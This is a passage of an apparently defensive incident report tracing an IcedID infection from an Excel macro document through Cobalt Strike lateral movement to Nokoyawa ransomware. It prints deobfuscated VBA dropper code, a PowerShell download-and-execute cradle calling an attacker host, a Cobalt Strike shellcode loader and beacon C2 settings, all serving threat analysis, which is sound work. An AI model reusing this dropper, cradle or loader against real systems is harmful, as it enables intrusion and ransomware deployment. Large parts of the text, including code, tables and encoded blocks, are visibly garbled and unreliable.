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Threat actors have moved to other means of initial access, such as ISO files combined with LNKs or OneNote payloads, but some
appearances of VBA macros in Office documents can still be seen in use.

In this case we document an incident taking place during Q4 of 2022 consisting of threat actors targeting Italian organizations with Excel
maldocs that deploy IcedID. The threat actors deploying such a campaign may hope to target organizations who have not updated their
Microsoft Office deployments after the newly released patches to block macros on documents downloaded from the internet.

We have previously reported on IcedID intrusions that have migrated to ISO files, however, this report is one of the most recent that will focus
on the traditional Excel/macro intrusion vector.

Once inside, the threat actors pivoted using Cobalt Strike and RDP before a domain wide deployment of Nokoyawa ransomware with the help
of PsExec. Nokowaya ransomware is a family with ties to Karma/Nemty.

Case Summary

This intrusion began with a malicious Excel document. We assess with medium-high confidence that this document was delivered as part of a
malicious email campaign during the first half of October 2022, based on public reporting that overlaps with multiple characteristics observed.
Upon opening the Excel document, the macros would be executed when a user clicked on an embedded image. The macro code was
responsible for downloading and writing an IcedID DLL payload to disk. The macro then used a renamed rundll32 binary to execute the
malicious DLL.

After reaching out to the initial command and control server, automated discovery ran from the IcedID process around two minutes after
execution. This discovery used the same suite of Microsoft binaries as we have previously reported for the IcedID malware family. At this time,
the malware also established persistence on the beachhead host using a scheduled task.

Around two hours after the initial malware ran, IcedID loaded several Cobalt Strike beacons on the beachhead. Within minutes of running
Cobalt Strike on the beachhead the threat actors proceeded to elevate to SYSTEM permissions and dump LSASS memory using the beacons.
Following this activity, the threat actors conducted further reconnaissance, and then moved laterally to a Domain Controller through the
execution of a Cobalt Strike payload via WMI.

Next, discovery tasks continued from the beachhead host, including network scans for port 1433 (MSSQL) and browsing network shares with
an interest in password files. The threat actors appeared to have removed some contents of the network shares off the network as canary files
report the documents being opened off network minutes later. After this, the threat actors remained quiet over the next several days.

On the fourth day, the threat actors returned briefly to execute a few commands on the Domain Controller related to the enumeration of domain
computers and high privilege user account groups. Privilege escalation was also observed on the system via named pipe impersonation.

Early on the sixth day, the threat actors became active again launching the Edge browser on the beachhead host and appeared to download a
file from dropmefiles[.Jcom. But after completing this, they went silent again for around another eight hours. Then, from the beachhead host, a
new process was spawned from the IcedID malware; and from this shell, the threat actors began enumerating Active Directory using adget and
AdFind.

The threat actors then began to spread laterally using a combination of Cobalt Strike beacon DLLs, batch scripts, and WMI commands. More
credential dumping was observed, followed by additional AdFind and other Windows discovery commands. The threat actors then continued
lateral movement and began checking RDP access across the environment. A batch file was run enumerating hostnames throughout the
environment using nslookup. Some further pivoting around systems and targeted discovery continued throughout the rest of the day.

On the seventh day, around 23 hours since the last activity in the environment the threat actors began the final phase of the intrusion. The
threat actors connected to a compromised server via RDP. From this server they would stage the ransomware deployment. They deployed the
ransomware payload, Sysinternals PsExec, and a cluster of batch files 1.bat-6.bat and p.bat. Opening a command prompt, they moved
through executing the batch files copying p.bat, a renamed PsExec, and the ransomware payload to all domain joined hosts. They then used
the batch scripts to execute the ransomware payload via PsExec and WMI.

The time to ransomware (TTR) was around 148 hours (~6 days) from the initial infection. After the intrusion, contact was made with the threat
actors using their support site and the price of the ransom was quoted around $200,000 USD in Bitcoin. No ransom was paid as a result of this
intrusion.

Services

We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, Metasploit,
Empire, PoshC2, etc. More information on this service can be found here.
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Our All Intel service includes mini reports, exploit events, long term infrastructure tracking, clustering, C2 configs, and other curated intel,
including non-public case data.

We’'ll be launching a private ruleset soon, if you'd like to get in at a discounted rate for the beta, please Contact Us.

If you are interested in hearing more about our services, or would like to talk about a free trial, please reach out using the Contact Us page. We
look forward to hearing from you.

Analysts

MITRE ATT&CK

Initial Access

This intrusion is linked to an IcedID malspam campaign that was observed in October 2022 targeting Italian organizations based on overlap in
the maldoc template and the IcedID C2 server.

https://twitter.com/reecdeep/status/1577979717717721088?s=20&t=QWDIpjACeLzPOEy4DDGnUQ
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This case involved an IcedID payload delivered through an Excel maldoc containing VBA macros that were linked to the two images
embedded in the document, which caused the macros to execute when a user clicks on either of the images:
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The macro associated with the maldoc reached out to a hard-coded domain and downloaded the first stage IcedID payload. More on this in the
next section.

With ActiveSheet.QueryTables.Add(Connection:=App44( 3 2 i 1pi008mi.26cD , Destination:=ActiveSheet.Range(
.FieldNames =

.RowNumbers =

.FillAdjacentFormulas =

.PreserveFormatting = Tru

.RefreshOnFi F

.RefreshStyle = . P .
.SavePassword = F uﬂ,'https://slmlplml.com
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Execution

IcedID

Once the VBA macro was invoked, Excel connected to the hard-coded domain and downloaded the first stage of the IcedID payload.

event.dataset + .~ destination.ip = destination.port =+ dns.question.name = ./ dns.answers(}.data = ./ destination.geo.country_name =
zeek.dns | ] 53 simipimi.com 91.213.50.43
zeek.ssl 91.213.50.43 443 Russia

When the VBA macro from Excel calls out to the hard-coded domain, it has multiple interesting characteristics, including:

e Two OPTIONS requests followed by a GET request.
« User-agent fields mentioning Microsoft Office.
o Specific HTTP headers such as x-0ffice-Major-Version , X-MSGETWEBURL , X-IDCRL_ACCEPTED , and UA-CPU.

Host User Agent Info
simipimi.com Microsoft Office Excel 2014 OPTIONS / HTTP/1.1
simipimi.com Microsoft Office Protocol Discovery OPTIONS / HTTP/1.1
simipimi.com Mozilla/4.0 (compatible; ms-office) GET / HTTP/1.1
v Hypertext Transfer Protocol v Hypertext Transfer Protocol
OPTIONS / HTTP/1.1\r\n OPTIONS / HTTP/1.1\r\n
Connection: Keep-Alive\r\n Authorization: Bearer\r\n
User-Agent: Microsoft Office Excel 2014\r\n X-MS-CookieUri-Requested: t\r\n
X-0ffice-Major-Version: 16\r\n X-FeatureVersion: 1\r\n
X-MSGETWEBURL : t\r\n X-IDCRL_ACCEPTED: t\r\n
X-IDCRL_ACCEPTED: t\r\n User-Agent: Microsoft Office Protocol Discovery\r\n
Host: simipimi.com\r\n Host: simipimi.com\r\n

v Hypertext Transfer Protocol
GET / HTTP/1.1\r\n
Accept: text/html, text/plain, text/xml\r\n
User-Agent: Mozilla/4.0 (compatible; ms-office)\r\n
UA-CPU: AMD64\r\n
Accept-Encoding: gzip, deflate\r\n

Host: simipimi.com\r\n

Once the IcedID payload is successfully retrieved, it will be decoded with Base64 and written to disk. In this case, the payload was written to
the path retrieved from Application.DefaultFilePath, which is the default path used by Excel when it opens files.

ion hermu()
hermu Application.DefaultFilePath
End Fu

hubbW = hermu & "\" & Int(9957898 * Rnd) + 4500 & "."
ridacchiare cantavamo((Replace(RTrim(h), " ", "A"))), hubbW

DEOBFUSCATED

Fun GetDefaultFilePath()
GetDefaultFilePath = Application.DefaultFilePath
d Function

icedIDFullPath = GetDefaultFilePath & "\" & Int(9957898 * Rnd) + 4500 & "."
WriteFileToDisk Base64Decode( (Replace(RTrim , " ", "A"))), icedIDFullPath

The random name generated for the IcedID payload may be either 1 to 7 random digits, or 4500. This is because the Rnd function will return “a
value less than 1 but greater than or equal to zero®.
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Once the IcedID payload is successfully written to disk, the following post deployment steps are initiated:

7]

+ Rundll32.exe is copied into a file named calc.exe under the path returned by Application.DefaultFilePath .
¢ Calc.exe (renamed rundll32.exe) is used to invoke the IcedID payload.

hermu()
plication.DefaultFilePath

ior

sperimentazioni = sanguinanti(Left(Environ(App44("8coIm@spNJec9")), 20) & App44( Du3n3dl71v4e") & "32" & App44("76.ASe3
hubb = hermu & App44("12\Ec24a0 .7 22e")

ridacchiare sperimentazioni, hubb

presiedere = hubb & " " & pareggiato & "

Shell presiedere

DEOBFUSCATED

unction GetDefaultFilePath()
GetDefaultFilePath = Application.DefaultFilePath
End Fu on

rundll32InMemory = ReadFileIntoMemory(Left(Environ("coms

falseRundl132Path = GetDefaultFilePath & "calc.

WriteFileToDisk rundl132InMemory, falseRundll32Path
icedIDRundllExecutionString = falseRundl132Path & " " & icedIDDLLName & ",#
Shell icedIDRundllExecutionString

In this case, rundll32.exe was copied into the user Documents folder and named calc.exe. The name ‘calc.exe’ is hard-coded into the VBA
code and will not be changed.
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Once the VBA macros invoked the IcedID payload, the parent-child process relationship between Excel and calc.exe was observed.

Event.SystemEventiD ¢ ~  EventEventData.ParentCommandLine &

"C:\Program Files\Microsoft Office\Root\Officel6\EXCEL.EXE"

"¢ \User s\ Dovnloads\4_202210250456866742. x1s"

#  EventEventData.CommandLine =

c:\wser s\ Oocunent s\calc . exe C:\Users SN\ Document s\7030270 ., 81 /q

The following diagram provides a visual summary of the process to execute IcedID on the endpoint.

VBA Macro Connects to https:

ipimi.com

RundlI32 is copied to C:A\Users\USER\
Documents

A GET request is used to retrieve the Base64.

encoded IcedID payload

@ Fetch IcedID

IcedID VNC

@ Decode IcedID

The RundiI32 file is disgt

@ Disguise Rundll32 @ Execute

Decode = The payload is Base64 decoded in memory. IcedID payload is executed ~~.

A random filename is generated for the IcedID

Generate Filename ==
payload

calc.exe C:\Users\USER\Documents\calc.exe
C:\Users\USER\Documents\7030270.,#1 /q
The decoded payload is then written to C\

WAE == |}qers\USER\Documents\7030270.

The threat actors were observed making use of an VNC module that was spawned by IcedID to spawn the Microsoft Edge browser:

event.action ¢ e event.code

Process Create (rule: ProcessCreate)

process.parent.executable < Ve process.command_line ¢

C:\Windows\System32\dllhost.exe cmd.exe /c start "" msedge.exe

We were able to reconstruct some of the VNC traffic thanks to @0xThiebaut's tool PCAPeek. You can see the below options such as Edge,

Chrome, Firefox, CMD, Task Manager and run dialog. Based on the visual it appears to be the KeyHole VNC module reported first observed in

Oct 2022 by NVISO.
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In another instance, a run dialog was observed being used to execute the calc.exe file that was created earlier. More information can be found
about this here.

However, the command below would have no effect in this case as calc.exe is a renamed version of rundll32 and no parameters were passed.

event.action F4 eventcode ¢ process.parent.executable rd process.parent.pid v process.command_line < rd process.pid +
Process Create (rule: ProcessCreate) 1 C:\Windows\System32\cmd. exe 10728 rundll32.exe shell32.dll,#61 6160
Process Create (rule: ProcessCreate) 1 C:\Windows\System32\rundl132.exe 6160 "C:\Users\ (MMl  oocurents\calc. exe” 4128

Several other programs were seen run in this manner, as seen in process execution logs below:

process.name v process.command_line “ process.parent.name ~ process.parent.command_line

outlook

Window

rund1132.exe

Cobalt Strike
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The threat actors used Cobalt Strike beacons throughout the intrusion. The first beacon was executed via PowerShell, which in turn was
executed initially by a command shell which was started by the IcedID malware at the same time a DLL beacon was also executed.

IcedID to Cobalt ke Exe

{ 1
! Cobau Strike ]
[} - \
| L rundli32 c:\programdatalpl.di. DiiRegisterServer | !
e TED>\D: e C:\Users\ CTED: 030270.1/q  — cmd.exe /K chep 65001 84 c: 8 cd e\ | W
g powershell.exe -nop -w hidden -c IEX biect net.webclient). Chitps: m757/can)” | !
i T |
\

The downloaded PowerShell payload, previously hosted on hxxps://aicsoftware[.Jcom:757/coin, is available on VirusTotal. Here is the content
of the payload, where we can observe an object being created in memory using an encoded string. We will walk through decoding this string to
view the Cobalt Strike configuration present within.

$s=New-Object IO.MemoryStream(,
[Convert]::FromBase64String('"H4sIAAAAAAAA/9Y9690ySLIvV+nnmr+gPK6K7g16tIqLuiBVXEBUQES94wdkTE6DIRZA71ivvs//1kVqGP79tvz8yOFfvLeSIMH6G0S1z

<---CROPPED_BASE64_CODE- - ->
/Pj8+Pz4/Pj8+Pz4/Pj8+Pz4/Pj83/580/ff/rpD9tjou3nP96//cu32j9/0//+aX/59sfrKvst0G7CX62j0Fzw75r2/du//fSHP1RFf/nj/a900T/yn9Z3aq7Z+ukPf60m:z
(New-Object IO.StreamReader (New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

i Tength: 226145
Recipe s + O3

//1kVqGP79tvz8yOF fvLeSIMH6GoS1Zefpl ViWyc4 j83Reaf(10+02/9587]1cj+
Ll +/cT+9a+X8nYq8H/85x+ull/wjyeL TP6zz0XPy/Kf/9de/LK3Min765T8qK/ tHF J/LOPnt]/IDCzrnMnN+/ctf/voXcqm85dbF+cfNKvzK+UfkFF58zn/6r59++ZuQi0Mésvzb3/
A-Za-20-9+/= IY///rT//4NGzTqxPn1280/ZXEeX4rfa/6t: 5 //9gMzE@sGMefDxJrpc/883P8uwTaClSGP//2@9+wvb/9/e8//T/v3qzLW+FHzu/KrXCyONk4WeWfnPx32bgd
Q2ftXl v786/Q1cwpyuz206sv8FwY) )/ /€16 1Lw‘rm/i F’\NPVTLSBNQGH kv/’?WEMS/QWE:NE Dobzh95/MNev8PcHBvv1r//7R6x6dk LHEQrnHWX
/qXv/yN/OvAeH5Zxr1Pnvuvn9q//aRBI6wizmqcTiMrnV/. A /1vf: Zd 3 uTSMnYt/c8blzYr8@4

vhF/anI}nXﬂ(HB+P1VbAHB/’UXHSQZZH] fU+RkJ+rc/Pjal/0L9 sS5Pz0208bxwqd8
28/Cbfcb24JZRGT{3/+6q5WhoV/svLiVd3f{/@BSZumxfgGELDeY nBDMVmCU6+FSJVFVUQS /0qN’4Tq5LP QJqIVh'LBVUFMFCWJXkEﬂhAnkmU/,’ZPX/SAN(JK;QDCL@I ShMt
NA@tF3ROI1GE35zXO0f/8T7r9khMqFEirFSE+0g@MsAnjdrefdnSNgF77+bc/MNS/r3vfqphvuilmTjORvxBBVC6g0KkNAOrk/hOUsZP+NPgVRfBvo7pANSLVNNDC/Neb@ISsWQE

Gunzip Q PTbM4GLmSW3MbouN++Tnv68+c7fXM2551+ P1SqLVAYctymd903cUjS6tHFpdidhGVolsc+dFQ37uH3XyG5bphlhbZaYD/vz5D/NbHwSacLaPFYDY+FfYpueWKPRwndytwoW
FemgNnw2/1TS@evad YbQ9yUi +V59dé‘92alVdeUm—mzZ(ﬂlu, JF/e7YkSZINYG14mN9s0jbZw9 3 fDOYjtmS1dch,/WjiwPzdZ0t+501MHVVbhWrxCL/sHNgquémp98 /yHNOkZ1a
x1Svm3Nz1q42yiX1DWEwcBft1LdbaZTiz1khv4wV@57YRAYRYc/8wfnfAiSgTpbTPtasTxJIS2FmL f1j6nIKt+ult@Wk1As52ZhfNKiXbnfxPLVrTZ jUrgeKWNuDXEBDNxKF39ZkN
9FSeTX1eo9fpbw8+U0ekqQvg3dByqpRn8H2DTAjubRZ jxdcC7dXu82Mevv5/vqSNe5z fXBIHERCcSL20rIgLWfmcQ/ jk3SmY3r+9p jAfb f+7H15PoH7 j++sciE+qt//6+Q6/9Y7
+1gMaDrit9xoPoSf@8Q/1sc/tpX6NNENQkV2Z1 I9uvIpThFWm/ fNHz67Mgn+frmVrPej4ZL/yvTbGMtxH+81al9Q741 adINIcRGnrpTSQNAdtgBudf+sfiB/u3h4eXrtIt57R/p2
b01gtF/GH/vGk4vT323CYRpN2dOSyH8VTvz7ViXfK9reAeo+zalhetyTVWICELE2aC7 1RMZFmdT/6Jue3aSbvL dMOVdZ@afCT1Vvzp@bayWhInUBFIr3NLr700qJZc IW31w3ET+
FNOJBq3WINAL rkytsczL tnv5c48z6W+frp3+Fg2pc3EutuBMo3tccommct FZnu32wfrvj69z0bXtiBGFWFqVcd1NdaF7m2raCyvMi9t8alguvnZ8aY+d54wudqbm2bVb9fmqV02
+POkt82utMmk5fCaHHUTRzdax+pIeHRCsdPpdfv3ULY4t 75K2218nF+e+oltp2amstNEk4Ut+T6M4+NSwbelw2]/Cvfudfhge3q4PCy07LS68E F THDPhowSnV6YTqpPlc7C/Fmz
CdqzpcRikQjud0]£53YyY7knW3MdqYiBLW6jdwIrj18+7vepmIUDLVto2cdyWT3ggtupNbN1 BnEQRMLCOS5LrOY +5YCMLZ680nbj9ax ] TIMRFXBZw+do/GvDpKsgv/V7vB4KZSt3
AUuCd10S8IR7m3GZmjKS jk7kZdD7LIeZg9ZuxyQikyH1UQrjees1pG/Y7pybVz5Z9eID0bHNEN194y3VhGOhTENFPryWygLuk+ rkKSWSAxkt036HX +m+ug@+PPcYv8VsP2szLkx
yBKR40Qfagbk91ewgMbWhfZUFQvqzQDx1pqj6UYWz1jwsCim2YISieIcHzifZUDLQYPHehgPvF+EsL9gpfasb33ChhwKmnaXTOYI/hMCE2f7XPFeqS59Qgz]Yraj7135qEuTtri
4fx6mf0dcHw@gng96Mh1WzG1 s c9J+UpkNp75sD1xtnCScmxPZ1tDVBL4fSRNhApFb8ut/KGpz132IWAn/MGez1 YVOyw9/ tmDOrdQImi 1n2U11+f CZ7xQ7u3mFmOMS j LWzZ2ZMVaF
JOVUVmGmiV/ESEusVB@HWVy8w3jzK4yZ49VHE199Mr42 THNXAcxv frSeKfhYAZdI3XDduwScOjlyDoxvodUzX1 DuMNbIgNUpr3@Y19YNTS5sr1PewvEnKe@UGFWk/1VsCtKyb8p
1XecZKL f45ydVHNmPzp9wbgE Y5Sd81H4IX63NB5LZuevwydod 70UXgyPui fdm3j0GCeENxGW5jbZo7CbCL1PISBnAsX+TEMLdmhyKQ8sp7I+w0YN+41ik7gMFdBq+1j4sVkbQlVr+
sP+VjhfIRLf3c006FRGIrL11nejicb66]atVOYj2Azs/Im96Vh+hPRM4b+PHS9rgy rGddpmavRDmdbpDPoDzwqprb528vL JduvDENtVVS90ezUD1uFnIdZrPHaaSt4osS5VY1
h3u0dz1RV32rNFYw926/Yz/7HSviNhOxJO5mPTUMFN@INMsDvb4IhILBspt477uyMIzH] z7 IbXSRVr fIvawdBz6/xKiQ@2ke]j/CedjHvY3pNxWMLN fMbgW8p/ XGAbRNAX/
/Xhm72mVLT2Tmhhb IN6UOVRGZ1ZVV4EPIV6yHqON7K/MuX7C/pF4LEtWLKH3gRN+vi f@aalX0q@P531 jM7 thF30K2USDpWToOuhaOaePNgHE1 1k ftGnwBR4gt/nPCAS+DfC
Kfnx44N8DndxHm7os fgkwfQdbnzof 8 +mPR2miWa1c10KYfL+UbUDguYGANngSdtkP/eE 2RmnSXaRgCe2WXmdbIFuVYfRdccSz1dz039MMb5 jPd5ne7zL HAw7W4+Qj6TY7a8dqt18
mS jWin/4HBAUYFE rTrX8YKVGKY@GgaVLQF/ZrpiNabLQgl /LwUOF/nLPSUrGhjKsXe+q1IptvaXUn/Lq)T4Z25iD3yaUAR11 eQXvBeMFXLOHNSVECF Tk4c1HrESDI+0189uFdry

start: 1642

i tine:  #7ms
d: 1642 IC
Output en n 1 @0

length:
M3 VMjIyMjIyMj v‘MjI IyM 'IyMjIyMjIyMjIyMjth ) IyMj IyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyM]IyMjIyMjIyMjIyM3IyMiIyM] jIyMjIyMjIyMjIyMj Iy
JIyM)IyMJIYMJ IyMjIy”jIyMJIyM]IVMijMjIyMjIijIyMj

I)H]IyM] IyMj
IyMj IyHJIyMJIyMJIyM]IvMJ I_,-MJ IyMTIyMJIyMjIyMJIyMjIyM]IVMjIyMJ IyMJIyMJIvMJIvM'IIyMJ TyMjTyt

j TyMjIyMj TyMjTyM; IyMjIyM; IyMj IyM; IyMj Ty
yMj LyMjTyMjTyMjTyMjTyMjTyMjTyMjTyMjIyMjTyM MITYMITyMITyMiTyMiTyMiTyMj

for (3x = @; $x -1t $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll
VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))

$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, @x3000, 0x4@)

[System.Runtime.InteropServices.Marshal]::Copy($var_code, @, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type
@([IntPtr]) ([Void])))
$var_runme, Invoke([IntPtr]::Zero)

I BAKE! ¥

Auto Bake

After initial Base64 decoding, we found the payload used the default Cobalt Strike XOR value of 35 which allows for the next step of decoding
the payload.
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Second stage decoding:

Tength: 348654 =
Recipe Input S , +t DOl m =

57025255YnF2aérGa6lLPAyMjT2uuPsnc3NxrgvxrouCrfCIj3PBimIONgXVLIyMIT31 rqtrc8yMjTyMjTyMjT9MjIy0D9/HrPmN8]DctbepnsTb
LTl L] ‘ 9Dpwajg09ouYBeSEUHSYCZhzCvUXHpyPIf3bRSSuhtCnEaip0IP50/VpsPwbEI jb8oMIFEUbb1TOAL SIBB27Y1ViwkyeHHIY/FVR3EIBkgI4/5
+Ct7XgrjkKOLciixG11Tvn/Xq60aldMLVSIfqgTA88i P/q0g/Rpfbd+919sIcHAV at16d6XedXip8KINF7MtPcGPA)aPiZqg4I331iCnNmIyNHp
A-Za-2z0-9+/= SYjIyMjIyMjIyPg3Nzc@yMAEyghKMjiyE jI9E1IyMjIy0IbCIjIzMjIyM]j I6MiIyMjIzMjIyMhIyMmIyE jIyMjIyY] ISM] IyM]KGeryMnIyMl
IyMjISNDIiMjMyMjIyMjIzMjIyM;j 2Mj TyMjIyMzIyMjIyMjF54i1zM;jTyMDmyAj cSMjIyeHICNHIyMjIyMjIyMjIyMjs)
JIyMjI+MnIyML IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI60p ICNTIyMj IyMj IyMj IyMj4yE jGyUIyMjIyMjIyMj IyM] I/M]Iy
MjIyMjIyMjI86UhZ1U4CM]jB4UhTyMzTyM]iyEjIycjIyMjIyMjIyMjIyMjIwijI@POkoSB1IHgI1HbIyMj4yE jI9kjIyOPISMTIyMjIyMjIyMjT
yNjIyNjzoSB1IHgIyOr5iMjI+MgIyMFIyMjhSA; TyMj IyMITyM; TyM;YyMj4860hIGUgeA  FnMjTy0zIyMiASM; T+8g IyM i TyMjTyMiTyMjI2M;
12P0koWMj4PgI30sIyMj4yciIzMiTyPNICM] IyMjIyM]j IyMjIyNjIyNhF1FnxW4SpAGVw+XPIoF07LMZyu65UAgZmrk@HN/EkoKO8 FraJAiev+1l
1Qdcic+nV@p@3+31QakFT6mGSQ6cx@aryGCI FAAqkLaOy rmtvPAvGUHXZSmiL11mqUUKCaPHIRbDI4pWWH1L ssG70cwl60HY GSEawbjIFobDa2p
rg4mY@VVWiR70FwJBkOACM7eFhvZRuuytOhUvmDHQrhq/6CACgsdehFi+BE+VvALYYv7@yYclu/6WEsbY3GSrGPIkpZSEx3mRoKBAX11C11537w
1Ha4gykGUEDIL F2ONZUFYrK2FySrl/HWO00ZLNGOEXNWCL WgkZx2501PXNZ2FvF6ZYYD+1xyl Jk+11KERZ8Wkt2p21aF 29 jqAdqfefLWYme3cHM
gxQEaPtbAygXRh6Rzwb(Q3ry8MrQMUpeg/1Mj LyOoaySoabjoqGmI8KhpkP1oaZ jApdM7 pdMy@x/TFghrCVvj40DgZTLvZGHg40DvWgXgqG3telv
j4Grs6GAZHS5SBYBkel e3SKR8rmexY5+Dg4AuBYxvj1RShIQPm71YhHyek6zhjH+SV2aFt5Pgh2+GXteFrKyEJ8KNo70KhHy] jG+Ge7aF rkyEJ6K
No70KhHyJjG+Ke56do/0KhHyK1@zvTHx8mqB812xKSY2UFf1X21afHTIKhrvMTogGuMxPCoa5TE+KhrnMTAT1jm40DgCwQsqGm8x01i0aY zE+Khpl
MTAt6GBobWhtqG3qGMMWKXTBKXTFtM7riNsTaxgsax1rImm@xLhd60Dg4GUy1LkfLE611DZTjoR81HYAIYGDi4GsQC+ShYxbhCINg4uDbEIQTCIpg
4uBrEAvkoWMU4Q19Y0Lg2xCUE6XbFIQv4zuh6z51DZUkoN]/@zupHydti+h1H5VLabTEuKhrvMSwqGuMxICoaSTEiKhj IMChv6G+obZhvL 8L Cw
5qGskqGm46KxpoPi3qGMMAKhjgPjgqGsZazqobaj4rG31R5f j4KFZ4eDgdNMy J6AIWODGEB/1uk714GUgl cSkbajhrG31Y5f j4Kht rMSw@zInpM
TAyODgEB/11k714GUglMaoabzE sKxrJ2szH/XKTulgYx jh10LTO6hr rMSwdz1f3eZ04uBrIbhrvMSgqGMkaL8jLKhpvMToqGmUxPC3qGMMWKL rE
Gs6qGsZCLAfHx911IXtrGsmaz0oay8Tax4 fHEhrvMTQqGuUxNioYyTAvyMsL CyoaySoabjoqGmQ)8KhpmP1isaZDApG2y4qRrO19L SkpKayepaxCo
azmhFwIxCiEC4h81iodnxk+2hafFY5uDg4AkS40Dgayel@zKsbdUS1uPgoRcDMQpt7LI1KZSNHy 1 rJxcBMQof ImsapG3@su9W46ghCOKiauTQolW]
g71bz71ar4SEC5SCEISK] jI0T jMahjI+NjAt+iauTSoligHe9Wox7vVgs FIQnmb fRhYwL fomrk@qFooB7vVaMfYwDf omrk@KFooB+oHy+VQ6XbMS
0871bboR81pdszk+bvVrPhC+LTMmsnayohB+S0IQjiIQnkYwDf4y+iauTQYwHfoWjgomrk@aFoo0G12z0T7WMC7yEC4qLvXuzSC+VZ3eDg4KFoq
0KhJqgD3j3al jI0ShJuDgpMsm@yClaeGoa7zE6Khr1MTwgGuexPisaSTEWMs LKhpvMToqGmMxPCoaZ TE+L ehtqG3qGMMwWKiDCaVrMalrOGstqGsS
CMXN40DT02Ugl bioaSzEiKRrpMSArGsVrYKWUODg4Kxt3YDG50CsbW9o40DgoWsyghs rox+93sB1IIXHo2uk3vRpz2mnSGUgnveoba/ogMsXaqT
uGB8ja0GoHyHbv+ScENMgqGu8xKCoadzEqKhr1MSwqGMkwKG/ob6/ IywsqGskqGm46KhpiPCoaZD4qGmYwKG@obaht6hjDNCoawmha+mpazmhax
CoaxoIm8zg4GUg72UI40DgoNup5G2hH2MYn+9nM+Dg4NMyolWs gF xGkayB1Mu91IeDg4BYh4+91WODg4KmD4axtxXrF50CoiSBQ40DgrmudwICtZ
. TKU/ql tYWjg40Coazeoay2pYyHoqGmkxMChHzIJZ0Dg4GUWL JetbZHo@z1KZ78rGs 1 qgWsurMs joWuk6BhjIuTR4ahtqeTbs+ScDaiD46xtY2 jg

Standard

Output
MZARUH.EH,1 ###H, ,&yyyH.RH.A. A, BUEVh . EHEZH . DRI DI
m mDyO \4{; S il2esy..U.. "> .@vNdo¥?\{Rvrya.+! .0 a. .A 2°.APY.0.~.vq.U.0, .«lE. ,0.0p@0. .H5"{u.}

; J RO HHEHEC O LT B . B R R R Y
# . ####iﬁ: HEARR R | - HREHR 0 RARREHHARGE . #4
HHHHEAE A ####M#MM##M####M#######W##ﬂ T T W P Y
CHHRT BB RRRHARRRS R
i 148¢. ¢A#r‘a##ﬁl O ##nﬁ##w#:wmmsct dA## Aspsh. #8001 .ﬂ##”*###!:#w#m 35¢ - ¢Axd

7lct

F.91.H.H. .H.+H=
. IhiiiH, H3 H. 4! ) A<, 00°f. JO{AAAA*1AARH. 8. N&.pAA. 4 INE.F

4.106.K.<.<.1" 5.

Auto Bake 1D. MAB .H.42_ H.F.IF. AAAS AIF{AAA. A.NeYeCA.% sAAA.H.Gf.F. VANELAAA.H.AH 4 3 J Gd.< ’GAMFS .N2EB.F

After this an MZ header can be observed. From there, the data can be saved and reviewed using 1768.py from Didier Stevens, revealing the
Cobalt Strike configuration embedded within:

~ % cd Downloads
Downloads % python3 1768.py —-raw payload.b
File: payload
Config found: xorkey b'.' ©x00000000 ©x0000573e
0x0001 payload type 0x0001 0x00082 8 windows—beacon_https-reverse_https
0x0002 port 0x0001 0x0082

0x00083 sleeptime 0x0002 0x0004 6251

0x0004 maxgetsize Bx0002 OxPOB4 1864736

0x00085 jitter 0x0001 0x0002 37

0x0007 publickey 0x0003 0x0100 30819302e06092a864886772e010101050003818d00308189028181009
9146249f914e4aal8d8045ec4b5dc?6ddddée@edb8dead60763dedePaab1c8821c8045F7314580dF527b8191fe@c831ffcb75564587be8ecfb
090966060660999@09900606066@69099@60060666999@099@0006006@696999908@06099@9@099@0@06609@999@999@8@6669@09@099@960

The full configuration:
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Config found: xorkey b'.' 0x00000000 0x0000573e

0x0001 payload type 0x0001 0x0002 8 windows-beacon_https-reverse_https
0x0002 port 0x0001 0x0002 757

0x0003 sleeptime 0x0002 0x0004 62518

0x0004 maxgetsize 0x0002 Ox0004 1864736

0x0005 jitter 0X0001 0x0002 37

0x0007 publickey 0x0003 0x0100

30819f302e06092a86488672010101050003818d00308189028181009380b188bdba677c26ff8adc2fd5bde9d7d595fccaa7b389be52c2c76d5bad1537105f105e8

0x0008 server,get-uri 0x0003 0x0100 'aicsoftware\rcom,/templates’
0x000e SpawnTo 0x0003 0x0010 (NULL ...)
0x001d spawnto_x86 0x0003 0x0040 '%windir%\\syswow64\\regsvr32\rexe'
0x001le spawnto_x64 0x0003 Ox0040 '%windir%\\sysnative\\regsvr32\rexe'
0x001f CryptoScheme 0x0001 0x0002 0
Ox001a get-verb 0x0003 Ox0010 'GET'
0x001b post-verb 0x0003 0x0010 'POST'
0x001c HttpPostChunk 0x0002 0x0004 O
0x0025 license-id 0x0002 0x0004 305419776
0x0026 bStageCleanup 0x0001 0x0002 1
0x0027 bCFGCaution 0x0001 0x0002 0
0x0009 useragent 0x0003 0x0100 'Mozilla/5\r@ (Macintosh; Intel Mac 0S X 10_11 2) AppleWebKit/601\r3\r9
(KHTML, like Gecko) Version/9\r0\r2 Safari/601\r3\r9’'
0x000a post-uri 0x0003 0x0040 '/favicon'
0x000b Malleable_C2_Instructions 0x0003 0x0100
Transform Input: [7:Input,4,2:600,3,46]

Print

Remove 600 bytes from begin

BASE64

Unknown instruction: 0x2e
0x000c http_get_header 0x0003 0x0200

comonst_host_header Host: aicsoftware

Const_header Connection: close

Build Metadata: [7:Metadata,46,3,2:wordpress_logged_in=,6:Cookie,9:mark=true]

Unknown instruction: 0x2e

BASE64

Prepend wordpress_logged_in=

Header Cookie

Const_parameter mark=true
0x002e process-inject-transform-x86 0x0003 0x0200 '\Xx00\Xx00\x00\x10\X00\x00\x00\x15Host :
aicsoftware\rcom\x00\x00\x00\n\x00\x00\x00\x11Connection: close\x00\x00\x00\n\x00\x00\x00/Content-Type: application/x-www-form-
